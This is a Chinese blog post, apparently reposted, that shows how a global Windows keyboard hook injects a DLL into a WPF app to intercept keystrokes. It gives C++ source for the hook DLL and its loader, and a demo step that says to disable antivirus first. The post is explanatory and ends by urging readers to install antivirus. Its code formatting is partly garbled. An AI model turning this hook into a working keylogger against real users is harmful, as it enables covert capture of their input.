聊一聊 WPF 程序的鍵盤是如何被竊聽的?

一:背景

1.講故事

前幾天群里很熱鬧,看了下在爭論兩個問題:

  • 電腦里要不要裝殺毒軟件 ?

  • 應該裝什么殺毒軟件 ?

不管殺毒軟件流氓不流氓,在如今病毒肆虐的當下互聯網,裝一個還是能幫我們攔截很多意想不到的東西,為了眼見為實,這一篇我們就聊一個竊聽 鍵盤事件 的惡意代碼。

2. 思路

實現思路非常簡單,一旦某個程序觸發了鍵盤事件,就給目標程序注入一個 dll,在這個 dll 中來實現竊聽的業務邏輯,簡而言之就是在 OS -> WPF 的消息傳遞鏈路上安裝一個 消息鉤子

二:鍵盤竊聽

1. 新建 WPF 程序

要截獲 WPF 的鍵盤事件,首先得新建一個 WpfApp1.exe 程序,放一個文本框,等一會我們要竊聽它,截圖如下:

1a0571d7db2ce4786dd76ca3c165f652.png

2. 注入進程的 MyHook.dll

新建一個 C++ 的動態鏈接庫項目,取名 MyHook.dll,這個 dll 是用于動態注入到 WpfApp1 中做竊聽的,參考代碼如下:

#include?"pch.h"#include?"stdio.h"
#include?"windows.h"
#include?<string>using?namespace?std;HINSTANCE?myhookModule?=?NULL;
HHOOK?g_hHook?=?NULL;BOOL?APIENTRY?DllMain(HMODULE?hModule,?DWORD??ul_reason_for_call,?LPVOID?lpReserved)?{switch?(ul_reason_for_call){case?DLL_PROCESS_ATTACH:myhookModule?=?hModule;??break;}return?TRUE;
}LRESULT?CALLBACK?MyKeyboardProc(int?nCode,?WPARAM?wParam,?LPARAM?lParam)?{char?szPath[MAX_PATH]?=?{};if?(nCode?==?0?&&?!(lParam?&?0x80000000))?{//1.?提取程序名GetModuleFileNameA(NULL,?szPath,?MAX_PATH);char*?p?=?strrchr(szPath,?'\\');//2.?監控?WpfApp1.exeif?(!_stricmp(p?+?1,?"WpfApp1.exe"))?{wstring?content?=?L"您的按鍵:"?+?to_wstring(toascii(wParam));MessageBox(NULL,?content.c_str(),?L"友情提示",?1);}}return?CallNextHookEx(g_hHook,?nCode,?wParam,?lParam);
}extern?"C"?{__declspec(dllexport)?void?HookStart()?{g_hHook?=?SetWindowsHookEx(WH_KEYBOARD,?MyKeyboardProc,?myhookModule,?0);}__declspec(dllexport)?void?HookStop()?{if?(g_hHook)?{UnhookWindowsHookEx(g_hHook);g_hHook?=?NULL;}}
}

代碼邏輯很簡單,大概分三塊:

  1. SetWindowsHookEx

在 Win32Api 中提供了一個叫 SetWindowsHookEx 函數用來設置消息鉤子,從方法參數中可以看到,可以指定對某一類消息進行監聽,并且還能觸發相應的回調函數,比如這里的 MyKeyboardProc,消息類型參考如下:

#define?WH_MIN??????????????(-1)
#define?WH_MSGFILTER????????(-1)
#define?WH_JOURNALRECORD????0
#define?WH_JOURNALPLAYBACK??1
#define?WH_KEYBOARD?????????2
#define?WH_GETMESSAGE???????3
#define?WH_CALLWNDPROC??????4
#define?WH_CBT??????????????5
#define?WH_SYSMSGFILTER?????6
#define?WH_MOUSE????????????7
...

最后通過 C 的方式導出 HookStartHookStop 函數,方便宿主提前啟動。

  1. MyKeyboardProc

這個是具體的回調函數,邏輯很簡單,就是對 WpfApp1.exe 程序的鍵盤事件的觸發提前處理,其他程序觸發的事件我們不需要處理,最后通過 MessageBox 的方式將輸入的鍵值以 ascii 碼的方式打印出來。

  1. DllMain

這個是 DLL 的入口函數,和 exe 的 Main 的作用是一致的,我們在dll被加載的時候,記錄下 module 的實例,方便操作系統將這個 module 注入到其他進程中。

3. MyHook 的宿主 MyHookMain.exe

接下來新建一個名為 MyHookMain.exe 的 C++ 程序,目的就是調用 HookStart 函數,參考如下代碼:

#include?<iostream>
#include?"stdio.h"
#include?"conio.h"
#include?"Windows.h"typedef?void(*MY_HOOKSTART)();int?main()
{HMODULE?hDll?=?LoadLibrary(L"MyHook.dll");MY_HOOKSTART?hookStart?=?(MY_HOOKSTART)GetProcAddress(hDll,?"HookStart");hookStart();printf("hookStart 已成功啟動!");getchar();FreeLibrary(hDll);
}

接下來把程序跑起來,如果正常就啟用了消息掛鉤,截圖如下:

692b0dbfe502d345e425d9cc493b413e.png

4. 演示

所有工作準備好之后,接下來把殺毒軟件關掉,對,就是殺毒軟件,然后打開 WpfApp1.exe 程序,隨便輸入一個字符,馬上就能看到該字符的 ascii 碼,截圖如下:

f4c33d3d90894f16966f287df8b7350d.png

既然有彈框,肯定是走了 MyKeyboardProc 邏輯,那怎么驗證呢?可以用 Process Explorer 工具看一下 WpfApp1.exe 中有沒有注入 MyHook.dll 就可以了。

397476509719a80a001580ae44b106e3.png

太棒了,真的注入進去了,如果你開啟殺毒軟件,或者某些衛士,你會發現 SetWindowsHookEx 函數不起作用了, MyHook.dll 也不會注入到進程中。

三:總結

這個例子很好的告訴了我們,惡意程序無處不在,防不勝防,如果你的系統真的放在裸機下跑,總會有中招的時候,所以殺毒該裝的還得裝。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/281085.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/281085.shtml
英文地址,請注明出處:http://en.pswp.cn/news/281085.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

httpclient 實現文件上傳中轉

開發功能&#xff1a; web前端提交上傳文件 —> a服務器接收 —> 轉發到b服務器進行文件處理 下面是簡單實現的代碼&#xff0c;具體細節優化根本自己的需求更改。 public String handleResponse(HttpServletRequest request, HttpServletResponse response)throws Unsup…

AngularJS $watch 性能殺手

雙向綁定是AngularJS核心概念之一&#xff0c;它給我們帶來了思維的轉變&#xff0c;不再是以DOM為驅動&#xff0c;而是以Model為核心&#xff0c;View中寫上聲明式標簽&#xff08;指令或{{}}&#xff09;,AngularJS會在后臺默默同步View到Model,并將Model的變化更新到View。…

ipad和iphone切圖_如何在iPhone和iPad上的Messages App中固定對話

ipad和iphone切圖Khamosh PathakKhamosh PathakBetween updates from your bank and group chats, the Messages app on your iPhone or iPad can be a mess. Use the pinned conversations feature introduced in iOS 14 and iPadOS 14 to access your favorite conversations…

這個WPF的企業級MES項目爆火,就是UI爭議大!

工業4.0時代&#xff0c;智能智造MES系統大行其道&#xff0c;然而基于.NET跨平臺的罕見&#xff01;這里有一套《.NET6WPF企業級MES實戰》教程&#xff0c;基于.NET6跨平臺開發&#xff0c;實現了MES多核心功能&#xff0c;尤其是開發框架完整&#xff0c;非常適合復用。這里分…

單調棧學習筆記

線性結構——單調棧①定義&#xff1a;棧內的元素&#xff0c;按照某種方式排序&#xff08;單調遞增或單調遞減&#xff09;如果新入棧的元素破壞了單調性&#xff0c;就彈出棧內元素&#xff0c;直到滿足單調性②優點&#xff1a;可以很方便地求出某個數左邊或者右邊第一個比…

《VMware Virtual SAN權威指南(原書第2版)》一1.5 什么是Virtual SAN

1.5 什么是Virtual SAN Virtual SAN是VMware推出的一種存儲解決方案&#xff0c;它的beta版本在2013年發布&#xff0c;2014年3月正式開放給公眾&#xff0c;并于2016年3月升級到6.2版。VSAN完全集成在vSphere中&#xff0c;它是一種基于對象的存儲系統&#xff0c;是虛擬機存…

js 控制超出字數顯示省略號

//多余顯示省略號 function wordlimit(cname, wordlength) {var cname document.getElementsByClassName(cname);for (var i 0; i < cname.length; i) {      var nowLength cname[i].innerHTML.length;if (nowLength > wordlength) {cname[i].innerHTML cname…

在Outlook 2007中查看您的Google日歷

Google Calendar is a phenomenal web application for managing your calendars, but so many of us are still forced to use Outlook at work. The good thing is you can have the best of both worlds by subscribing to your Google Calendar from Outlook. Google日歷是…

元宇宙、數字孿生和企業NFT

昨天參加了華為云上海開發者日活動&#xff0c;并客串主持了一場"元宇宙技術創新和商業實踐之路"的閉門研討會。研討會上大家討論熱烈&#xff0c;干貨多多&#xff0c;大家提到元宇宙的企業級前景、數字藏品和數字人案例的親身體會。在會上盆盆分享了自己關于企業級…

設置狀態欄和標題欄的樣式

設置狀態欄和標題欄的樣式Android setSystemUiVisibility(visible)方法詳解這個方法可以詳細的設置各種標題欄的狀態欄的樣式.visible的值來決定1.SYSTEM_ UI_ FLAG_ LOW_ PROFILE: 影藏不重要的狀態欄圖標&#xff0c;導航欄中相應的圖標都變成了一個小點。點擊狀態欄或者標題…

CMD命令硬盤/光驅掛載

使用Mountvol命令掛載時&#xff0c;發現GUID不對啊&#xff0c;哪應該到哪找呢&#xff1f; 1.首先可以用Mountvol命令&#xff1a; Mountvol 創建、刪除或列出卷的裝入點。Mountvol 是一種不需要驅動器號而連接卷的方式。 語法&#xff1a; mountvol [Drive:]Path VolumeName…

紐約大街上的免費WiFi,終于鋪起來了

紐約市的城市互聯網項目終于開始動工了。 這個被稱為 LinkNYC 的網絡服務項目&#xff0c;是將現有的 1 萬多個付費電話亭改造成提供 Wi-Fi 網絡的“熱點樁”&#xff0c;為紐約市民提供免費網絡。從 12 月 28 日開始&#xff0c;工人們已經開始安裝首批的 LinkNYC 熱點樁了&am…

解決Maven管理項目update Maven時,jre自動變為1.5

本文為博主原創&#xff0c;未經允許不得轉載&#xff1a; 在搭建一個maven web項目時&#xff0c;項目已經按步驟搭建完好&#xff0c;之后項目上就報了一個錯誤。 在控制臺看到錯誤提示如下&#xff1a;Dynamic Web Module 3.0 requires Java 1.6 or newer。。 已經改過項目中…

reddit_如何將多個子Reddit與多個Reddit合并

redditchrisdorney/Shutterstock.comchrisdorney / Shutterstock.comIf you’re subscribed to a lot of communities on Reddits, some of the content you want to see may get lost in the mix. For easier browsing, you can make your own “multireddit” that combines …

BeetleX之ServerBuilder對象使用

ServerBuilder是BeetleX新版本添加對象&#xff0c;用于進一步簡化TCP服務的構建。ServerBuilder對象提供兩個泛型版本&#xff1a;一個是針對網絡數據流操作&#xff0c;另一個則針對協議解釋器的對象處理操作。網絡數據流當需要解釋簡單的網絡數據流時使用ServerBuilder<A…

Unbuntu 自動重啟MySQL

上個月&#xff0c;通過Unbuntu搭建了WordPress&#xff0c;一切運行良好。 UBUNTU搭建WORDPRESS-MYSQL-APACHE 但是&#xff0c;最近幾天&#xff0c;不知道啥情況&#xff0c;MySQL偶爾會出現Stop&#xff1b;影響了blog的使用&#xff0c;所以&#xff0c;我這里嘗試了自動調…

識別Win10系統兩種方法

最近寫寫一個工具&#xff0c;需要識別當前系統。 首先&#xff0c;找到GetVersionEx函數&#xff0c;能識別win7和win8。但win10需要修改manifested&#xff0c;才能識別&#xff0c;具體參考如下鏈接&#xff1a; http://blog.csdn.net/k1988/article/details/47614529 實…

solidworks小金球_如何在沒有電纜的情況下傳送第77屆年度金球獎

solidworks小金球Gil C / Shutterstock吉爾C / ShutterstockAs the 77th annual Golden Globes Awards approach, you may be wondering how to watch it without paying a cable bill. These streaming services are the best way to watch the awards show tonight if you cu…

2017年,這兩個大數據崗位一定會火!

討論哪個大數據崗位會火之前&#xff0c;我們先來簡單的分析一下大數據領域的行情&#xff0c;這里重點說一下當前的情況。 2016年&#xff0c;互聯網行業遇到了資本寒冬&#xff0c;拋開大公司不說&#xff0c;一些中小型的公司不斷的縮減預算&#xff0c;因為很難融到錢。 但…

PHP7 學習筆記(十一)使用phpstudy快速配置一個虛擬主機

說明&#xff1a;為了windows本地開發php方便&#xff0c;這里推薦使用PHP集成環境phpstudy。 目的&#xff1a;使用域名訪問項目&#xff08;tinywan.test&#xff09; 1、官網&#xff1a;http://www.phpstudy.net 2、虛擬主機的配置 3、站點域名管理 &#xff08;1&#xff…